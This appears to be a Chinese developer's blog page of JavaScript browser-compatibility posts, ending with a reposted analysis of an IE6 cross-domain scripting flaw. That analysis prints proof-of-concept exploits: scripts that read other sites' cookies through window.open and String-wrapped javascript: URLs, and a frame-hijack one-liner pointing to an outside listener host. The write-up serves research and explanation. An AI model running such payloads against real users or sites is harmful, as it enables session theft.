Featured Posts

CentOS LAMP Setup 很土鳖的问题,浪费我几个小时,终于搞定! 在 CentOS 下使用 xampp 的集成套件搭建 LAMP 环境,启动 Apache 后,用浏览器访问 web 程序,居然提示下载源文件!! 也就是...

Readmore

看看我写的 GFW 小故事 我是一个乖孩子,喜欢上网跟朋友们聊天、玩游戏 警察叔叔说,网上很黄很暴力,我却很傻很天真,不让我再看到我最爱的网站 直到有一天,一个无辜的小鸟被无情地封杀,我才意识到问题的严重性 面对河蟹坚硬的钳子,小鸟不能改变什么,唯一能做的,就是送上几句脱口秀解解气 据说那个墙,又黑又高,看到朋友们发来的结构图,我哭了 我再也看不见可爱的...

Readmore

Apache ReWrite QUERY_STRING 问号 ? 看一条应用中简单的 rewrite 规则: 将请求: http://www.leakon.com/soft/install?ver=2.0 rewrite 为: http://www. leakon.com/my/soft/install.php 配置文件 httpd.conf...

Readmore

  • Prev
  • Next

Iframe Tips ABC

Posted on : 24-07-2010 | By : leakon | In : JavaScript

0

通常我们用 js 脚本创建 iframe 时,会这样写:

var iframe = document.createElement('iframe');

之后我们可能会定义 id、name、border 等属性,这些看似简单,其实 IE 与非 IE 浏览器之间、IE 和 IE 高版本之间的迥异,使得 iframe 的相关兼容性操作非常地有文章。

牛A:frameborder

现象:使用 (iframe.frameBorder = 数值) 或(iframe.setAttribute(‘frameborder’,数值)) 在 IE 浏览器下无效
原因:IE 浏览器区分属性名称大小写
解决方法:iframe.setAttribute(‘frameBorder’,'0′) Or iframe.setAttribute(‘frameborder’,'0′,0),兼容所有浏览器。

注:经测试,IE8已经修复此问题

牛B:动态将Form target到iframe

背景:假设现在我们要让一个 Form 表单结果提交到一个 HTML 结构中已存在的 iframe,会这样做:

<form id="form" name="form" target="相应iframe的name:iframeNB" method="post" >
</form>
<iframe name="iframeNB" ></iframe>

OK,什么问题也没有,再假设我们需要提交到脚本动态生成的 iframe 中,会这样做:

<form id="form" name="form" target="iframeNB" method="post" >
</form>
<script>
var iframe = document.createElement('iframe');
iframe.name = 'iframeNB';
...
someParent.appendChild(iframe);
</script>

去 IE 浏览器里试试,你会发现 Form 会在新窗口显示提交结果,Why?
原因:
我为此尝试了很久,结果是IE此前版本不能通过(iframe.name=)这种方式给 iframe 设置 name 值,也就是说生成的 iframe 是没有 name 值的,但却可以 alert 出来,这很诡异;当然,这也并不是没有解决办法。
解决方法,为此我们得为 IE 单独写一行代码:

  /*only for ie */ 
    var iframe = document.createElement('<iframe name="iframeNB">'); 

看到这行代码,我们笑了,这是天大的杯具(喜剧?)~~不管IE有多么搓的问题,他总会有自己一套解决之……
而且这行代码会在其他非 IE 浏览器抛出异常,所以我们可以利用这点来做最终版:

    var iframe; 
    try{ 
        iframe = document.createElement('<iframe name="iframeNB">'); 
    }catch(e){ 
        iframe = document.createElement('iframe'); 
    } 
    iframe.name = 'iframeNB'
    ... 
    someParent.appendChild(iframe); 
    ... 

[2009-12-9]补充:最佳实践 – YUI 是如何 creat iframe 的

    /** 
    * @description Creates an iframe to be used for form file uploads.  It is remove from the 
    * document upon completion of the upload transaction. 
    * @method createFrame 
    * @private 
    * @static 
    * @param {string} optional qualified path of iframe resource for SSL in IE. 
    * @return {void} 
    */
 
    function _createFrame(secureUri){ 
    // IE does not allow the setting of id and name attributes as object 
    // properties via createElement().  A different iframe creation 
    // pattern is required for IE. 
    var frameId = 'yuiIO' + this._transaction_id,io; 
    if(YAHOO.env.ua.ie){ 
        io = document.createElement('<iframe id="' + frameId + '"name="' + frameId + '" />'); 
        // IE will throw a security exception in an SSL environment if the 
        // iframe source is undefined. 
        if(typeof secureUri == 'boolean'){ 
            io.src = 'javascript:false'
        } 
    }else{ 
        io = document.createElement('iframe'); 
        io.id = frameId; 
        io.name = frameId; 
    } 
    io.style.position = 'absolute'
    io.style.top = '-1000px'
    io.style.left = '-1000px'
    document.body.appendChild(io); 
    YAHOO.log('File upload iframe created. Id is:' + frameId, 'info''Connection'); 
    } 

这里需要额外注意到的一点是:

// IE will throw a security exception in an SSL environment if the
// iframe source is undefined.
if(typeof secureUri == 'boolean'){
io.src = 'javascript:false';
}

姑且算是牛D吧 =.=!

牛C:iframe.onload

关于 onload 这点大家可以参考怿飞师父的文章:判断 iframe 是否加载完成的完美方法,在此纯引用一次代码:

var iframe = document.createElement("iframe"); 
iframe.src = "http://www.planabc.net"
if (iframe.attachEvent) { 
    iframe.attachEvent("onload"function () { 
        alert("Local iframe is now loaded."); 
    }); 
} else { 
    iframe.onload = function () { 
        alert("Local iframe is now loaded."); 
    }
} 
document.body.appendChild(iframe); 

需要注意到的是:

  • IE8也不支持iframe.onload
  • Opera两者均可,所以使用此方法会绑定前者
  • 即使我们不预设iframe.src = some urls,也会默认执行一次onload事件,可以通过分析 src 规避。

附测试文件:
1.iframe_ie_ugly.html
2.iframe_fixed.html
以上,我认为 ABC 中最牛的就是 B 了,这也是我标题的亮点=.=! 斯密达们认为呢?

上述文字转自 http://blog.silentash.com/2009/12/iframe-tips-abc/,感谢原作者给我提供的巨大帮助。

转载在这里与更多人分享。

IE Bug Javascript

Posted on : 12-07-2010 | By : leakon | In : JavaScript

0

问题描述:
当 A 标签的文本是 http 开头时,设置 href 属性,会同时以相同的值更新链接文本,反之亦然。

解决方法:
在设置 href 时,在开头添加一个空格 ' ',即可解决此 bug。

测试 Demo:

http://code.leakon.com/javascript/set_href/set_href.html

注意,只在 IE 下会出现错误。

预期的功能是修改链接的 href 属性。

使用默认的修改方法有 bug,会把链接文本改掉!

0x80040111 NS_ERROR_NOT_AVAILABLE

Posted on : 08-07-2010 | By : leakon | In : JavaScript

0

Firefox 在处理 Ajax 遇到错误时会报 0x80040111 异常。

在网上查了下,有的说法是,在很短的时间间隔发送了 2 次 Ajax 请求,XMLHttpRequest 的值还没有返回回来就又被请求了一次。

还有一个情况,是我遇到的,在请求成功返回后执行回调函数时,引用了空对象的属性,debug 报错:"null has no properties"。

目前只遇到这 2 种情况,记录备忘。

KB927917 IE 报错 解决方法

Posted on : 03-06-2010 | By : leakon | In : Browser, JavaScript

0

在 body 标签内调用 append 方式给 body 增加一个节点,如果此时 body 未加载完,也就是 body 标签还未关闭,IE 将报错:KB927917。

页面错误提示:Unable to modify the parent container element before the child element is closed.

查了下资料,知道了问题的产生原因:

首先是微软的详细解释:http://support.microsoft.com/kb/927917

最后发现其实微软的MSDN上早已列举了解决办法:
http://blogs.msdn.com/ie/archive/2008/04/23/what-happened-to-operation-aborted.aspx

官方给出的解决办法如下:

  1. Moving your script execution to a function that is invoked after parsing is complete (e.g., onload)
  2. Adding the defer boolean attribute to the script block (this defers execution of the script content until parsing is complete)
  3. Limiting your tree modifications to the script-element's immediate parent
  4. Moving the location of your script block to a child of the body (this usually solves most problems, while allowing the most flexibility in terms of scenarios).

Object Oriented Javascript PDF ENG

Posted on : 15-12-2009 | By : leakon | In : Book, JavaScript

0

Object Oriented Javascript

这几天头大,钻研 prototype, prototype chains, scope, scope chains, constructor, closures 。

突然觉得自己根本不懂 Javascript。

把 《Pro Javascript Techniques》 有关 OOP 的部分仔细读了两遍,又看了半天这个链接:

http://www.jibbering.com/faq/faq_notes/closures.html

发现自己根本不懂 English,感觉这文章是用英文文言文写的?

有兄弟用自己的普通话大体翻译了下,写的还挺深入的,比较容易看懂:

http://www.zhuoqun.net/html/y2009/1203.html

各位对照着看吧。

为了进一步搞明白 Javascript 的对象继承机制,以及能设计出模块化的 Javascript Apps 平台,我找到了《Object-Oriented Javascript》这本书的 PDF 版,上面那个大图片是本书的封面。今晚好好研读一下。

我的服务器带宽实在是小,感觉像 1M 共享的,暂时先不提供下载了,给 2 个其他下载地址:

http://rapidshare.com/files/186330594/1847194141.pdf

http://www.itxuexi.com/resource/1291/

如果这 2 个地址失效,给我留言,我 24 小时内上传 PDF 到服务器供您下载。

看书去了……

IE IFrame Transparent 透明

Posted on : 02-12-2009 | By : leakon | In : Browser, Html, JavaScript, 原创

0

用 Javascript 插入 IFrame 标签,在 Firefox、Chrome 等浏览器上,默认都是透明的,但 IE 有默认的白色背景。

本来,在 html 中写入 IFrame 标签,并加上 allowTransparent="true" 这样的属性,IE 也一样可以透明,但今天的问题是必须用 Javascript 插入。

用 IE Developer ToolBar 测试,在 IFrame 的 src 页面的 body 样式上加上 backgroud:transparent 可以使 IFrame 透明。

但我们要用 Javascript,本域的 Javascript 脚本是没法设置跨域 IFrame 页面的,况且创建 IFrame 的时候还没设置 src,所以这个办法不行。

只能用个土办法,把 src 设置为一个绝对路径的 html 页面,这个页面你自己可以任意编辑,把 body 的样式设成透明即可。

注意,为了性能,只在 IE 浏览器下设置 src,Firefox 和 Chrome 都不用设置。

在这一点上,IE7 跟 IE6 一样弱,比现代浏览器差远了!

DOCTYPE Javascript documentElement

Posted on : 02-12-2009 | By : leakon | In : JavaScript

0

在 Javascript 里面调用一些属性的名称发生了改变,比如得不到 document.body.scrollTop 的值。

使用了 DOCTYPE 之后,滚动条位置必须用 document.documentElement.scrollTop 来调用,类似的还有 scrollLeft 等。

但是,在没有 DOCTYPE 的时候 document.documentElement.scrollTop 也永远为零了。

能否有一个在有或没有 DOCTYPE 定义都可以用的方案呢?

可以这样写:

// 浏览器滚动条位置
function scrollTop() {
var scrollTop = 0;
if (document.documentElement && document.documentElement.scrollTop) {
scrollTop = document.documentElement.scrollTop;
} else if (document.body) {
scrollTop = document.body.scrollTop;
} else if (window.pageYOffset) {
scrollTop = window.pageYOffset;
}
return scrollTop;
}

Mootools 教程

Posted on : 24-01-2009 | By : leakon | In : JavaScript

0

今天发现一个 MooTools 教程,共 30 篇,每天一个,目前为止还没写完。

简单看了看,还挺详细的,有很多例子,还详细说明了好多不为人知的问题。

30-days-of-mootools-12-tutorials-day-1-intro-to-the-library

同时还发现了一个 MooTools 的论坛:

http://www.mooforum.net/

Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox

Posted on : 08-07-2008 | By : leakon | In : JavaScript, Web开发, 转载

1

Javascript 获取 textarea 光标 文字 位置 内容 IE Firefox

最近帮朋友做一个获取文字内容,并处理选中文字的Javascript程序。

本来上网查查,用Firefox搞定了,包括Opera、Safari,不过到IE那里遇到很多问题!!!

还发现了IE的一个Bug!

就是
 var objRange  = document.selection.createRange();
 var strRange  = objRange.text;
 objRange.moveEnd("character", intLenOfHaystack);

之后,objRange.text会莫名其妙的多出一个空格,实际上,是当前文档,有几个textarea标签,他就会多出几个空格!

真是奇怪的Bug!

唉,碰到IE,搞前端开发的会很头疼!

反复搞了几天,不断尝试新方法,终于找到一个IE的解决方案,就是从下面转载的地方查到的。

发在这里,为了留作备份。

代码放到GoogleCode中了,我自己写的是select_range.html,其他2个文件是测试不同的代码用的。

最后我总结了一个GetStringPosition函数,我基本测试了一下,所有浏览器都可用。欢迎大家测试!

http://leakon.googlecode.com/svn/trunk/leakon/javascript/select_range/

后面就是引用别人的内容了,我是从

http://hi.baidu.com/sihillver/blog/item/35e1c6333552b042ac4b5f6b.html

这里找到的,这个blog也是引用别人的内容,我就不去挨个感谢啦。

感谢所有为互联网创造有价值内容的人!谢谢!

   在网上用baidu找了很久,找到的都是IE的方法,Firefox都不能用。 而且很多要用到<textarea>.focus()方法,用起来很不方便。
后来转用Google,搜了下"textarea cursor",第一个就有好方法。我根据最后一个家伙的comments,写了一个sample,应该还是挺好用的。
原文地址:http://weblogs.asp.net/skillet/archive/2005/03/24/395838.aspx

<html>
<head>
<title>TEST</title>
<style>
body,td{
    font-family: verdana, arial, helvetica, sans-serif;
    font-size: 12px;
}
</style>
<script type="text/javascript">
    var start=0;
    var end=0;
    function add(){       
        var textBox = document.getElementById("ta");
        var pre = textBox.value.substr(0, start);
        var post = textBox.value.substr(end);
        textBox.value = pre + document.getElementById("inputtext").value + post;
    }
    function savePos(textBox){
        //如果是Firefox(1.5)的话,方法很简单
        if(typeof(textBox.selectionStart) == "number"){
            start = textBox.selectionStart;
            end = textBox.selectionEnd;
        }
        //下面是IE(6.0)的方法,麻烦得很,还要计算上'\n'
        else if(document.selection){
            var range = document.selection.createRange();
            if(range.parentElement().id == textBox.id){
                // create a selection of the whole textarea
                var range_all = document.body.createTextRange();
                range_all.moveToElementText(textBox);
                //两个range,一个是已经选择的text(range),一个是整个textarea(range_all)
                //range_all.compareEndPoints()比较两个端点,如果range_all比range更往左(further to the left),则                //返回小于0的值,则range_all往右移一点,直到两个range的start相同。
                // calculate selection start point by moving beginning of range_all to beginning of range
                for (start=0; range_all.compareEndPoints("StartToStart", range) < 0; start++)
                    range_all.moveStart('character', 1);
                // get number of line breaks from textarea start to selection start and add them to start
                // 计算一下\n
                for (var i = 0; i <= start; i ++){
                    if (textBox.value.charAt(i) == '\n')
                        start++;
                }
                // create a selection of the whole textarea
                 var range_all = document.body.createTextRange();
                 range_all.moveToElementText(textBox);
                 // calculate selection end point by moving beginning of range_all to end of range
                 for (end = 0; range_all.compareEndPoints('StartToEnd', range) < 0; end ++)
                     range_all.moveStart('character', 1);
                     // get number of line breaks from textarea start to selection end and add them to end
                     for (var i = 0; i <= end; i ++){
                         if (textBox.value.charAt(i) == '\n')
                             end ++;
                     }
                }
            }
        document.getElementById("start").value = start;
        document.getElementById("end").value = end;
    }
</script>
</head>
<body>
<form action="a.cgi">
<table border="1" cellspacing="0" cellpadding="0">
    <tr>
        <td>start: <input type="text" id="start" size="3"/></td>
        <td>end: <input type="text" id="end" size="3"/></td>
    </tr>
    <tr>
        <td colspan="2">
            <textarea id="ta" onKeydown="savePos(this)"
                            onKeyup="savePos(this)"
                            onmousedown="savePos(this)"
                            onmouseup="savePos(this)"
                            onfocus="savePos(this)"
                            rows="14" cols="50"></textarea>
        </td>
    </tr>
    <tr>
        <td><input type="text" id="inputtext" /></td>
        <td><input type="button" onClick="add()" value="Add Text"/></td>
    </tr>
</table>
</form>
</body>
</html>

*************************************************************

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>光标位置</title>
<style>
INPUT{border: 1 solid #000000}
BODY,TABLE{font-size: 10pt}
</style>
</head>
<body>
<table border="0" width="700" cellspacing="0" cellpadding="0">
<tr>
<td width="479" rowspan="7">
点击 TextArea 实现光标定位
<p>
<textarea rows="7" cols="49" id="box" onclick=tellPoint()>我怕来不及我要抱着你,直到感觉你的绉纹有了岁月的痕迹,直到视线变得模糊直到不能呼吸
为了你我愿意
动也不能动也要看着你,直到感觉你的发线有了白雪的痕迹,直到肯定你是真的直到失去力气让我们形影不离
如果全世界我也可以放弃,至少还有你值得我去珍惜而你在这里就是生命的奇迹
也许全世界我也可以忘记,就是不愿意失去你的消息你掌心的痣我总记得在哪里
我们好不容易我们身不由已,我怕时间太快不够将你看仔细,我怕时间太慢日夜担心失去你恨不得一夜之间白头永不分离
</textarea>

<script>

function movePoint()
{
var pn = parseInt(pnum.value);

if(isNaN(pn))
return;

var rng = box.createTextRange();

rng.moveStart("character",pn);

rng.collapse(true);

rng.select();

returnCase(rng)

}

function tellPoint()
{
var rng = event.srcElement.createTextRange();

rng.moveToPoint(event.x,event.y);
rng.moveStart("character",-event.srcElement.value.length)

pnum.value = rng.text.length

returnCase(rng)
}

function returnCase(rng)
{
bh.innerText = rng.boundingHeight;
bl.innerText = rng.boundingLeft;
bt.innerText = rng.boundingTop;
bw.innerText = rng.boundingWidth;
ot.innerText = rng.offsetTop;
ol.innerText = rng.offsetLeft;
t.innerText = rng.text;
}

function selectText(sp,ep)
{
sp = parseInt(sp)
ep = parseInt(ep)

if(isNaN(sp)||isNaN(ep))
return;

var rng = box.createTextRange();

rng.moveEnd("character",-box.value.length)
rng.moveStart("character",-box.value.length)

rng.collapse(true);

rng.moveEnd("character",ep)
rng.moveStart("character",sp)

rng.select();

returnCase(rng);
}

var rg = box.createTextRange();

function findText(tw)
{
if(tw=="")
return;

var sw = 0;

if(document.selection)
{
sw = document.selection.createRange().text.length;
}

rg.moveEnd("character",box.value.length);

rg.moveStart("character",sw);

if(rg.findText(tw))
{
rg.select();

returnCase(rg);
}

if(rg.text!=tw)
{
alert("已经搜索完了")
rg = box.createTextRange()
}

}

</script>
</p>
<p></p>
光标位置:<input type="text" value="0" id="pnum" size="8"> <input type="button" onclick="movePoint()" value="移动光标到指定位置">
<p></p>
选择指定范围:<input type="text" size="9" id="sbox"> -- <input type="text" size="9" id="ebox"> <input type="button" onclick="selectText(sbox.value,ebox.value)" value="选择">
<p></p>
选择查找字符 :<input type="text" value="" id="cbox" size="8"> <input type="button" onclick="findText(cbox.value)" value="查找下一个并选择">

</td>
<td width="217">boundingHeight: <span id="bh"></span></td>
</tr>
<tr>
<td width="217">boundingWidth: <span id="bw"></span></td>
</tr>
<tr>
<td width="217">boundingTop: <span id="bt"></span></td>
</tr>
<tr>
<td width="217">boundingLeft: <span id="bl"></span></td>
</tr>
<tr>
<td width="217">offsetLeft: <span id="ol"></span> </td>
</tr>
<tr>
<td width="217">offsetTop: <span id="ot"></span> </td>
</tr>
<tr>
<td width="217">text: <span style="position: absolute; z-index: 10" id="t"></span> </td>
</tr>
</table>
</body>

</html>

 

*************************************************************
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE> 兼容firefox下选择textarea文字的js代码_脚本之家_www.jb51.net </TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="">
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="">
<script type="text/javascript">
    function getSelectedText(){
        var selectedText;
        var textField=document.getElementById('inputTextarea');
        if(window.getSelection) selectedText=getTextFieldSelection(textField);//getTextFieldSelection(document.getElementById("inputTextArea"));
        else selectedText=document.selection.createRange().text;
            alert(selectedText);
    }

    function getTextFieldSelection(e){
        //var oEvent=arguments.callee.caller.arguments[0];
        if(e.selectionStart != undefined && e.selectionEnd != undefined)
            return e.value.substring(e.selectionStart,e.selectionEnd);
        else return "";
    }
</script>
<style type="text/css">
    ul{
        list-style:none;
    }
</style>
</HEAD>

<BODY>
    <ul>
        <li>兼容firefox下选取textarea文本的方法</li>
        <li><textarea id="inputTextarea" rows="6" cols="50"/>千万别相信我说的事情,我从来就没有这么勇敢过,这么壮烈过。我不断发誓要老老实实讲故事,可是说实话的愿望有多强烈,受到的各种干扰就有多大。我悲哀地发现根本就无法还原真相。记忆总是被我的情感改头换面,并随之捉弄我,背叛我。把我搞得头昏脑胀,真假难辩。</textarea></li>
        <li><button onclick="getSelectedText();">获取选中的文字段</button></li>
    </ul>
</BODY>
</HTML>
本文来自: 脚本之家(www.jb51.net) 详细出处参考:http://www.jb51.net/article/14735.htm

浏览器 跨域 安全

Posted on : 28-06-2008 | By : leakon | In : JavaScript, Web开发, 转载

0

    Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题,字面上的意思就是驻留在自己的域,随后开始有牛人在自己BLOG上写了一些相关的
内容,这段时间一直和HI群里的朋友在讨论这个问题,大家都简称为鬼页,这个鬼页非常神奇,
可以跟随你浏览的每个页面。经过鬼页的启发,我也对浏览器的跨域安全问题进行了测试。

1.来自伪协议的呼唤

    JAVASCRIPT里大家都频繁使用window对象,window对象代表的就是浏览器的窗口,我们
就来测试下window对象的open方法,尝试让新开的窗口执行伪协议。

    在本机搭建一个WEB服务器,开始做下实验:

    用各个浏览器浏览 http://127.0.0.1/test.htm ,下面是test.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="javascript:alert(document.domain)"
    </script>

    结果是:

    IE6:执行了伪协议,认为弹出窗口的域是127.0.0.1。
    IE7:执行了伪协议,认为弹出窗口的域是127.0.0.1。
    Firefox:执行了伪协议,认为还没有域为NULL。

    Firefox这里对于这个接口可能也有个BUG,对于IP地址的弹窗Firefox没有辨认出域,但
是在实际绑定域名的情况下还是辨认出了域。

    为了下面的部分方便理解,我把这里弹窗的关系给简称下,原来的窗口叫父页,弹出窗口
叫子页,实验过后我们证明了:

    父页和子页都在同一个域里,父页可以重定向子页的URL地址,甚至执行伪协议。

2.父页和子页的关系

    如果父页让子页访问其他域后,父页和子页是否就脱离关系了呢?

    继续测试,用各个浏览器浏览 http://127.0.0.1/test2.htm ,下面是test2.htm的脚本
内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com" //访问163网站
    setTimeout(function(){
        x.location="http://127.0.0.1";
    },5000)  //5秒后重定向到127.0.0.1
    </script>

    这次IE6、IE7、Firefox都达成了一致,实验的结果是子页访问了163网站,5秒然后又跳
回了127.0.0.1。

    所以就算是子页在访问了其他域后,还是会受父页的控制。

3.域与域之间的牵绊

    如果父页让子页访问某个域后,再执行伪协议会有什么效果?

    用各个浏览器浏览 http://127.0.0.1/test3.htm,下面是test3.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果是:

    IE6:没有反应。
    IE7:报错,拒绝访问。
    Firefox:报错,alert没有定义。

    这些信息明显的说明,如果子页和父页不在同一个域里,浏览器是不允许父页控制子页
执行伪协议脚本的。

    为了进一步验证,我们让子页打开同一个域里的页面测试:

    用各个浏览器浏览 http://127.0.0.1/test4.htm,下面是test4.htm的脚本内容:

    <script>
    document.cookie='xss:true'  //给本域设置一个COOKIE为xss:true
    x=window.open('about:blank');
    x.location="http://127.0.0.1"
    setTimeout(function(){
        x.location="javascript:alert(document.cookie)";
    },5000)
    </script>

    结果IE6、IE7、Firefox都顺利的弹出了COOKIE值,说明如果子页和父页在同一个域里,
浏览器是允许父页控制子页执行伪协议脚本的。

4.安全上的差异

    父页和子页这种微妙的关系,到这里就开始引发安全问题了,PDP等大牛在分析鬼页的时
候给出了EXP:

    javascript :x =open('http://hackademix.net/');setInterval(function(){try{x.frames[0].location={toString:function(){return 'http://www.sirdarckcat.net/caballero-listener.html';}}}catch(e){}},5000);void(1);

    EXP按上面三部分的概念解释是:

    父页是A域,父页指定子页访问B域内一个带框架的页面,父页就能够控制B域页面内框架
的URL地址,这个就是典型的跨域操作了。

    鬼页能够跨域操作框架的关键是window.frames[0]方法没有受到域的限制,第二个是让
location指定的地址看起来像个对象而不是参数。

    我们按照鬼页的思路,继续在第3部分的基础上测试下去,将location指定的地址使用
new String()对象处理。

    用各个浏览器浏览 http://127.0.0.1/test5.htm,下面是test5.htm的脚本内容:

    <script>  
    x=window.open('about:blank');
    x.location="http://www.163.com";
    setTimeout(function(){
        x.location=new String("javascript:alert(document.cookie)")
    },5000)
    </script>

    IE6:弹出COOKIE。
    IE7:报错,拒绝访问。
    Firefox:报错,alert没有定义。

    结果是IE6奇迹般的弹出了COOKIE,我们做到了跨域执行脚本。

5.灾难性的后果

    到这里我们发现了一个IE6的0DAY,一定程度上这个跨域安全问题是灾难性的,如下面的
EXP:

    <a href="">IE6 Cross Domain Scripting</a>
    <script>
    function win(){
        x=window.open('http://www.phpwind.net');
        setTimeout(function(){
            x.location=new String("javascript:alert(document.cookie)")
        },3000)
    }
    window.onload=function(){
        for (i=0;i<document.links.length;i++) {
            document.links[i].href="javascript:win()"
        }
    }
    </script>

    点击链接后,马上得到了PHPWIND论坛的COOKIE,这就意味着黑客通过类似的攻击可以得
到你访问过的任意网站的COOKIE,然后劫持你的会话。

    这样的漏洞相当于一个没有域限制的XSS漏洞,几乎是无法防御的,网站只能进一步的加
强客户端的会话安全,如使用SSL加密连接、设置安全COOKIE加上HTTPONLY参数、给敏感的
请求操作加上水印等。

6.总结

    这个跨域安全问题的本质是浏览器在处理window对象的操作有所疏漏,没有考虑清楚不
同域有继承关系的window对象操作后的变化,只是对window对象的一些方法的参数做了类似
数据类型的限制,导致最后绕过限制跨域执行了脚本。

    从这个漏洞我们也可以看出IE7的一些新的安全特性,通过继承关系的window对象操作
来跨域执行脚本伪协议最后是判断了域的,IE7已经开始防范类似的攻击。

    但是这里并没有在本质上解决跨域安全问题,IE7只防范了跨域执行脚本,对于其他跨域
的操作仍然是放行的,所以鬼页在IE7下可以跨域操作框架URL,而Firefox却没有存在相同的
问题,说明不同浏览器在安全的考虑上也是存在很多差异的。

    针对IE我又测试了其他对象方法,发现很多都被限制住了,但不排除还有同样的问题存
在。按照类似的思路,大家可以继续尝试挖掘浏览器的一些跨域漏洞。

    最后感谢HI群里共同讨论的朋友。

7.参考

[1] Browser's Ghost Busters: http://sirdarckcat.blogspot.com/2008/05/browsers-ghost-busters.html
[2] Ghost Busters: http://www.gnucitizen.org/blog/ghost-busters/